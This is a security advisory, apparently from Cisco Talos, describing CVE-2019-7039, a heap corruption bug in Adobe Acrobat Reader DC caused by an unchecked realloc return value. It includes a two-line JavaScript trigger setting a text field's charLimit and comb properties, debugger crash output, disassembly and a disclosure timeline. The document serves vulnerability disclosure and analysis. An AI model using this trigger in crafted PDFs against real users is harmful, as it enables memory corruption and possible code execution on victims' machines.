CVE-2019-7039
A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC, version 2019.8.20071. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.
Adobe Acrobat Reader DC 2019.8.20071
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-252: Unchecked Return Value
Adobe Acrobat Reader is the most popular and feature-rich PDF reader on the market today. It has a large user base and is usually the default PDF reader on systems. The software integrates into web browsers as a plugin for rendering PDFs, as well. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow interactive PDF forms. This give the potential attacker the ability to precisely control memory layout and poses an additional attack surface.
While executing the following piece of code, an arbitrary out-of-bounds memory access can occur:
app.activeDocs[0].getField('txt1')['charLimit'] = 0xed000;
app.activeDocs[0].getField('txt1')['comb'] = {};
While manipulating text fields in a PDF, when comb
property is set to true, the rendered text field will be split into boxes, with each character of the text field placed into their own one. The number of boxes is controlled by the charLimit
property. Above, we set the charLimit
property to a large value, which ultimately leads to out-of-bounds memory access. Specifically, the out-of-bounds access happens at the following code:
Breakpoint 5 hit
eax=540f0ba0 ebx=0c229a98 ecx=001400d4 edx=00007532 esi=410d8ff0 edi=410d8fe0
eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f:
6b5c53eb f30f110488 movss dword ptr [eax+ecx*4],xmm0 ds:002b:545f0ef0=c0c0c0c0 [0]
1:009> u
AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f:
6b5c53eb f30f110488 movss dword ptr [eax+ecx*4],xmm0
6b5c53f0 ff83e4010000 inc dword ptr [ebx+1E4h] [1]
6b5c53f6 8b4708 mov eax,dword ptr [edi+8]
6b5c53f9 8945f4 mov dword ptr [ebp-0Ch],eax
6b5c53fc 8b470c mov eax,dword ptr [edi+0Ch]
6b5c53ff 8945f8 mov dword ptr [ebp-8],eax
6b5c5402 8d45f4 lea eax,[ebp-0Ch]
6b5c5405 50 push eax
1:009> dd eax
540f0ba0 3aded289 418c0e56 3aded289 3f000000
540f0bb0 3b5ed289 418c0e56 3b5ed289 3f000000
540f0bc0 3ba71de7 418c0e56 3ba71de7 3f000000
540f0bd0 3bded289 418c0e56 3bded289 3f000000
540f0be0 3c0b4396 418c0e56 3c0b4396 3f000000
540f0bf0 3c28c155 418c0e56 3c28c155 3f000000
540f0c00 3c449ba6 418c0e56 3c449ba6 3f000000
540f0c10 3c6075f7 418c0e56 3c6075f7 3f000000
1:009> !heap -p -a eax [2]
address 540f0ba0 found in
_DPH_HEAP_ROOT @ e71000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
43870b94: 540f0ba0 500460 - 540f0000 502000
6d67abb0 verifier!VerifierDisableFaultInjectionExclusionRange+0x000034c0
6d67b07e verifier!VerifierDisableFaultInjectionExclusionRange+0x0000398e
772c34bc ntdll!RtlpNtSetValueKey+0x000041cc
7726e01a ntdll!RtlCaptureStackContext+0x0000f16a
77221453 ntdll!RtlReAllocateHeap+0x00000043
74bc1320 ucrtbase!realloc_base+0x00000030
6b5c579a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0015111e [3]
6b5b0328 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0013bcac
6b5d9881 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00165205
6b5d9238 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164bbc
6b5d90b3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164a37
6b5d8ce3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164667
6b5d89d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0016435b
6b5d75ae AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162f32
6b5d704a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001629ce
6b60e0db AcroRd32!CTJPEGDecoderRelease+0x0002436b
6b5d6cc3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162647
6b5d63db AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00161d5f
6b6e78fc AcroRd32!CTJPEGDecoderRelease+0x000fdb8c
6b6e69e3 AcroRd32!CTJPEGDecoderRelease+0x000fcc73
6b4714d9 AcroRd32!DllCanUnloadNow+0x0001fcaf
6b470fa5 AcroRd32!DllCanUnloadNow+0x0001f77b
6b470d56 AcroRd32!DllCanUnloadNow+0x0001f52c
6b411267 AcroRd32!AcroWinMainSandbox+0x000077f1
7554be6b USER32!AddClipboardFormatListener+0x0000049b
7554833a USER32!DispatchMessageW+0x0000097a
75547bee USER32!DispatchMessageW+0x0000022e
755479d0 USER32!DispatchMessageW+0x00000010
6b46ffca AcroRd32!DllCanUnloadNow+0x0001e7a0
6b46fd92 AcroRd32!DllCanUnloadNow+0x0001e568
6b40a359 AcroRd32!AcroWinMainSandbox+0x000008e3
6b409c2d AcroRd32!AcroWinMainSandbox+0x000001b7
When the breakpoint is hit at [0] we can see that, we are writing to a buffer pointed to by eax
indexed by ecx
and then at [2], we see where the buffer is allocated and that its size is large enough. At [1], we also see that the index that ends up in ecx
is increased.
This code loops many times, bounded by the charLimit
property set before. Eventually, the index will be increased enough that the buffer isn’t big enough, at which point a different path will be taken, which leads to a call to realloc
, at the same location we see at [3] above. This is the code that follows:
.text:601E577F lea eax, [ecx+1388h]
.text:601E5785 mov [ebx+1D8h], eax
.text:601E578B shl eax, 3
.text:601E578E push eax
.text:601E578F push dword ptr [ebx+1DCh]
.text:601E5795 call indirect_realloc
.text:601E579A mov [ebx+1DCh], eax [4]
At [4], the pointer returned by realloc
is saved in ebx+1dc
, which is where the pointer to the buffer used at [0] is stored. Notice that there is no check on the return value of this realloc
call. Since this call is increasing the size of the buffer, which is ultimately controlled by the charLimit
value, the call to malloc
can fail. Unchecked NULL value will be written to buffer pointer and the code loops around to [0]. Usually this would cause just a NULL pointer dereference, but since index in the ecx
is growing larger, and is multiplied by 4, we can control the offset of the NULL dereference which results in an arbitrary write. And indeed, if we remove the breakpoints, this results in the following crash:
(21d4.157c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0c229a98 ecx=003ae9fc edx=00007532 esi=410d8ff0 edi=410d8fe0
eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f:
6b5c53eb f30f110488 movss dword ptr [eax+ecx*4],xmm0 ds:002b:00eba7f0=????????
1:009> dd ecx*4
00eba7f0 ???????? ???????? ???????? ????????
00eba800 ???????? ???????? ???????? ????????
00eba810 ???????? ???????? ???????? ????????
00eba820 ???????? ???????? ???????? ????????
00eba830 ???????? ???????? ???????? ????????
00eba840 ???????? ???????? ???????? ????????
00eba850 ???????? ???????? ???????? ????????
00eba860 ???????? ???????? ???????? ????????
Notice in the above debugging output that eax
is NULL, but ecx
is large enough to reach userland memory. The above crash is exhibited by the proof of concept with page heap enabled. With further memory control, a more precisely chosen buffer size for which the realloc
fails could be chosen, thus enabling control of the write. This could possibly result in further memory corruption and arbitrary code execution.
2018-11-20 - Vendor Disclosure
2019-02-12 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.